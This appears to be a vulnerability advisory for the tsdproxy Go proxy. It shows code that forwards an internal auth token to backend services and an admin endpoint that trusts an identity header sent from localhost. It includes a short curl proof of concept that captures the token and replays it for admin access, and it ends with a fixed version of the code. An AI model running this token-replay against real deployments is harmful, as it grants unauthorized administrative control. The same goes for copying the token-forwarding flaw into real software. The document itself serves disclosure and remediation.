// port.go: auth token forwarded regardless of user authentication state
if identityHeaders {
  if user, ok := model.WhoisFromContext(r.In.Context()); ok {
    // ok=true even for empty Whois{} stored by ProviderUserMiddleware
    r.Out.Header.Set(consts.HeaderAuthToken, core.ProxyAuthToken()) // token sent to backend
  }
}

// admin.go: management port trusts x-tsdproxy-id from localhost when token is valid
func ResolveWhois(r *http.Request) model.Whois {
  if IsLocalhost(r.RemoteAddr) {
    return model.Whois{
      ID: r.Header.Get(consts.HeaderID), // attacker-controlled after stealing token
    }
  }
  return model.Whois{}
}

# Capture token from backend headers (e.g., via a header-reflection endpoint)
TOKEN=$(curl -s http://localhost:3000/debug/headers | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['headers'].get('X-Tsdproxy-Auth-Token',''))")

# Replay from localhost to gain admin access
curl -H "x-tsdproxy-auth-token: $TOKEN" 
   -H "x-tsdproxy-id: attacker" 
   http://127.0.0.1:8080/api/v1/proxies
# Returns full proxy list with admin access

// port.go: only inject headers for actually authenticated users
if identityHeaders {
  if user, ok := model.WhoisFromContext(r.In.Context()); ok && user.ID != "" {
    r.Out.Header.Set(consts.HeaderID, user.ID)
    // HeaderAuthToken should NOT be forwarded to backends
  }
}